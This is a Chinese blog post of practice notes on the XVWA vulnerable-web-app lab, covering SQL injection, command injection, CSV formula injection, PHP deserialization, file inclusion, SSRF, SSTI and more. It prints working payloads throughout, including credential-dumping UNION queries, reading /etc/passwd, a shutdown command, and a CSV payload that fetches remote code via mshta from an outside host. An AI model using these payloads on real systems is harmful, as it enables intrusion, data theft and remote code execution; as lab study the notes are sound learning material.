[NOTE] XVWA靶场练习笔记
[NOTE] XVWA靶場練習筆記
文章目錄
- [NOTE] XVWA靶場練習筆記
- 前言
- SQL Injection – Error Based
- 選擇框
- 搜索欄
- SQL Injection – Blind
- OS Command Injection
- XPATH Injection
- CSV Formula Injection
- PHP Object Injection
- Unrestricted File Upload
- Cross Site Scripting (XSS) – Reflected
- Cross Site Scripting (XSS) – Stored
- Cross Site Scripting (XSS) – DOM
- Server Side Request Forgery (SSRF/XSPA)
- File Inclusion
- Session Flaws
- Insecure Direct Object Reference
- Missing Functional Level Access Control
- Cross Site Request Forgery (CSRF)
- Cryptography
- Unvalidated Redirects and Forwards
- Server Side Template Injection (SSTI)
- 總結
前言
又一個靶場…
上一個是DSVW
這次盡量搞快點把,還得學滲透呢
另外把這個靶場的環境適配到Ubuntu有點麻煩,能用就行
說到底還是要看看什么時候能不用小皮面板整個Web服務器試試
另另外XVWA,是Xtreme Vulnerable Web Application
Xtreme…
SQL Injection – Error Based
場景介紹了很多種類的咖啡
愛了愛了
有兩個編輯處,一個是選擇Code返回對應的咖啡信息
一個是搜索欄,輸入關鍵詞返回所有相關的咖啡信息
BP看看,POST傳送參數
item和search兩個參數不能同時傳
選擇框
輸入',確實報錯:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
' or '1'='1:check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’=‘1’ at line 1
?試試數字型:222 or 1=1 #,有了,選擇框是數字型注入
1 order by 7 #:測出字段為7
99 union select 1,2,3,4,5,6,7:文字回顯2、5、4、6、7(3在圖片鏈接里)
爆表:99 union select 1,concat(table_name),3,user(),5,6,7 from information_schema.tables where table_schema=database()
爆列:99 union select 1,concat(column_name),3,user(),5,6,7 from information_schema.columns where table_schema=database() and table_name='users'
爆用戶名和密碼:99 union select 1,username,3,password,uid,6,7 from users
出來的是密碼哈希
搜索欄
':check the manual that corresponds to your MySQL server version for the right syntax to use near ‘%’ OR itemdesc LIKE ‘%’%’ OR categ LIKE ‘%’%’’ at line 1
看起來使用的是模糊查詢LIKE '%{input}%'
%' #:全注
meirennengpodeliaowofang%' union select 1,2,3,4,5,6,7 #
下略
SQL Injection – Blind
盲注,這次注入'也不會有回顯
但是選擇個1會有完整回顯——?
item=99 union select 1,database(),3,4,5,6,7&search=
???這不還是有回顯嘛
可能這里的“盲”,僅指不輸出錯誤語句,而不是只回顯“對”或“錯”
那就略了
建議去打sqli-labs的盲注
OS Command Injection
介紹了兩個系統命令執行函數:
- system()
- shell_exec()
This allows a user to inject arbitrary commands that will execute on the remote host with the privilege of web server user.
輸入IP/HOSTNAME返回ping的終端結果
;whoami,返回www
看看passwd:;cat /etc/passwd
關個機去吃飯:; shutdown now
?怎么關不了?
55555不能去吃飯了
懷疑是權限不夠
看看源碼,簡單拼接而已:
$cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>';XPATH Injection
XPATH injections are fairly similar to SQL injection with a difference that it uses XML Queries instead of SQL queries.
An attacker can send malicious requests to the application to find out how XML data is structured and can leverage the attack to access unauthorized XML data.
輸入1正常返回,'警告:Warning: DOMXPath::query(): Invalid predicate in /www/xvwa/vulnerabilities/xpath/home.php on line 10
' or '1'='1:全注,字符型
下面是盲注
1' and count(/*)=1 and '1'='1:根節點數為1
1' and string-length(name(/*[position()=1]))=7 and '1'='1:根節點名稱長為7
1' and substring(name(/*[position()=1]),1,1)='C' and '1'='1:根節點名稱第一個字符為‘C’
1' and name(/*[position()=1])='Coffees' and '1'='1根節點名稱為“Coffees”
看來是只有關于咖啡信息的XML,之前已經全注出來了
剩下的信息盲注意義不大
CSV Formula Injection
CSV公式注入?或者是CSV Excel宏注入?
沒有驗證CSV文件的內容
常發生在允許上傳/下載CSV數據的站點
沒聽過,先學一波
學習鏈接:
- 淺談CSV注入漏洞
- 安全測試-CSV注入漏洞
- CSV Excel Macro Injection Vulnerability in export chat logs
**CSV公式注入(CSV Injection)**是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數。當在Excel中打開CSV文件時,文件會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函數有合法意圖時,很易被濫用并允許惡意代碼執行。
就是,Excel中的一個單元格設置成=36+1
保存之后重新打開,就會被正確計算變成37
像是=、-、+、@這些符號都會觸發這種行為
下面的例子需要事先在Excel中進行如下設置:
選項->信任中心->信任中心設置->外部內容->動態數據交換的安全設置->勾選啟用動態數據交換服務器啟動(不推薦)
然后是打開計算器的經典例子
在隨便一個單元格中輸入如下內容:
=1+cmd|' /C calc'!A0
保存,再打開,會有一系列提示
什么“更新鏈接”、“是否啟動另外一個應用程序”
一律“是是是”
然后就會打開計算器了
理想的攻擊場景是,攻擊者找到這么一個有CSV公式注入的站點
注入惡意數據
管理員后臺登入,導出CSV數據
然后打開,希望管理員沒什么安全意識
權限全開,安全設置全關,嫌麻煩不讀提示一律“對對對”
然后就中招了
被get shell或種馬什么的
大概就是這樣吧
騰訊問卷里邊也出現過這個漏洞
另附一個遠程連接shell的payload:
+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0
回到靶場題目
這里需要先找到一個可以插入CSV數據的地方
就在這個漏洞下面的[任意文件上傳模塊](#Unrestricted File Upload)
上傳下包含payload的數據:
然后回到表格,已經多了新增的項
然后模擬管理員登錄后臺,導出數據再本地用Excel打開
(還得要求后臺系統是Windows并且關閉相關安全選項)
就會彈出計算器
PHP Object Injection
這里講的就是PHP反序列化
Though PHP Object Injection is not a very common vulnerability and also difficult to exploit, but it is found to be really dangerous vulnerbility as this could lead an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Denial of Service, depending on the application context.
點擊CLICK HERE后
下面回顯XVWA - Xtreme Vulnerable Web Application
同時注意到URL新增參數/?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
猜測PHP對象用于在頁面回顯
于是有下面的XSS payload:
/?r=a:2:{i:0;s:4:"XVWA";i:1;s:29:"<script>alert("XSS")</script>";}
但是一般反序列化,都要結合源碼審計
源碼下面有如下的代碼:
其中__wakeup函數經常用在反序列化操作中
執行unserialize時,會檢查并執行__wakeup方法,預先準備對象需要的資源
上面可以看到所定義的對象,若存在$inject變量,則會調用eval去執行
這里就是注入點
則可以進一步構造如下payload:
O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}
改變$inject屬性的值,即可執行任意php代碼
另外在執行serialize時,檢查并調用的是__sleep方法
Unrestricted File Upload
文件上傳漏洞
先隨便上傳一張圖片,然后在上傳結果那里可以看到圖像地址:
www.xvwa.com/xvwa/img/uploads/pepe.jpeg
然后發現能直接上傳一句話
蟻劍一連,OK
Cross Site Scripting (XSS) – Reflected
輸入框,直接X爆
建議去看Pikachu靶場的練習筆記,我在里面做了相對詳細的利用練習
Cross Site Scripting (XSS) – Stored
建議去看Pikachu靶場的練習筆記,我在里面做了相對詳細的利用練習
Cross Site Scripting (XSS) – DOM
The attack triggers within the page, but with no need of requests/response pair.
頁面的form表單里有一個JS腳本:
var i = document.location.href.substring(document.location.href.indexOf("default=")); if(i.indexOf("default") > -1){document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>"); } document.write("<OPTION value=2>English</OPTION>"); document.write("<OPTION value=3>French</OPTION>"); document.write("<OPTION value=4>Germany</OPTION>"); document.write("<OPTION value=5>Spanish</OPTION>");可見可以在URL里傳入default參數,然后就會通過DOM語法生成到選單中:
然而奇怪的是,我不能構造出一個payload注入到里邊形成XSS
試過URL編碼和HTML編碼都不行
好像payload會被URL編碼之后才拼接到標簽中:
搜索框倒是可以隨便X(好像也不太行?)
Server Side Request Forgery (SSRF/XSPA)
XSPA:Cross Site Port Attack,跨站端口攻擊
An attacker can trick the web server that could probability running behind a firewall to send requests to itself to identify services running on it, or can even send out-bond traffic to other servers.
相關源碼:
$image = ""; if(isset($_POST['img_url'])){$remote_content = file_get_contents($_POST['img_url']);$filename = "../../img/".rand()."img1.jpg";file_put_contents($filename, $remote_content);echo $_POST['img_url']."<br>";$image = "<img src=\"".$filename."\" width=\"100\" height=\"100\" />"; } echo $image;這里關鍵是沒有對img_url傳入的參數進行檢查
使用file_get_contents對指示的資源進行讀取
然后寫入到隨機生成的一個文件中,并放在服務器
而且可以通過查看圖片源地址來得知文件在服務器上的位置
一個訪問敏感信息文件的場景:
輸入payload:../../../../../../etc/passwd
(這里也會有文件是否存在、有無權限等報錯提示,存在目錄遍歷漏洞)
右鍵圖片復制地址
curl一下即可查看內容:
或者是可以事先在惡意服務器上準備木馬http://10.10.10.1/hack.php
然后復制圖像地址,蟻劍連接
然而不行,弄到服務器本地的文件內容為空,一句話不存在
估計還有其他利用場景,就是查看內網站點頁面,以及訪問內網別的資源吧
File Inclusion
file參數可以本地文件包含,也可以遠程文件包含
本地例:/?file=file:///etc/passwd
遠程例:/?file=http://10.10.10.1/hack.php
(但是蟻劍連不上?其他像是phpinfo函數倒是可以)
(phpinfo顯示的是惡意服務器的信息)
(要事先把惡意腳本上傳到本地,然后再包含,才能蟻劍連上)
Session Flaws
會話缺陷,這里指由于用戶會話管理不當所引發的會話推測、劫持、固定和重放
這里看了看包,無論時登錄、登出前后
PHPSESSID似乎都是不變的,是固定的
然后登錄和登出的數據包都可以重放
那是不是意味著,只要別的用戶能抓到已經登陸的PHPSESSID
就能繞過登陸驗證?
(問題是別人的PHPSESSID哪有這么好抓啊)
不太理解這題的利用場景
Insecure Direct Object Reference
不安全的對象直接引用
意思是請求的資源命名規律不要太明顯了,容易被遍歷
像是這題下拉框只給5個選項,但是可以在URL里遍歷到5以上
Missing Functional Level Access Control
功能級權限控制缺失(在WebGoat里碰見過)
好像和越權有很大干系?
主要指,有一些本來應該隱藏的信息
如一些管理員才能執行的操作等
沒有很好地隱藏(注釋掉了或者只在HTML里hidden)
被發現了,就會被攻擊者嘗試執行惡意命令
這題地信息泄露,指源碼泄露
發現URL中的action參數除了能看到的view之外
還有delete,攻擊者可以越過頁面執行刪除數據操作
Cross Site Request Forgery (CSRF)
登陸后,修改密碼的鏈接沒有鑒權:
http://www.xvwa.com/xvwa/vulnerabilities/csrf/?passwd=password&confirm=password&submit=submit
那么可以隨意修改密碼形成釣魚鏈接或頁面,誘惑受害者點擊
從而按攻擊者目的修改了受害者密碼
需要社工
Cryptography
似乎只是一個介紹
介紹各個加密/編碼,并且提醒要正確地使用它們
Unvalidated Redirects and Forwards
不安全的重定向和跟隨重定向
說白了就是forward后面的鏈接參數沒有限制
導致攻擊者可以利用正常站點去釣魚惡意網站http://www.xvwa.com/xvwa/vulnerabilities/redirect/?forward=http://www.hacker.com
Server Side Template Injection (SSTI)
不太熟
Web頁面使用模板(templates)去讓頁面更加動態
SSTI常與XSS弄混
但前者能直接攻擊服務器內部并引發更大的危害,如RCE或服務器被拿下等
大概和第三方組件有關
這里靶場使用的是叫TWIG的東西
得了解它的相關資料
一個命令執行的模板:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
回顯:Hello uid=1001(www) gid=1001(www) groups=1001(www)
還不太理解這個TWIG
總結
中規中矩的靶場吧
總結
以上是生活随笔為你收集整理的[NOTE] XVWA靶场练习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [NOTE] DSVW靶场练习笔记
- 下一篇: [NOTE] Linux环境变量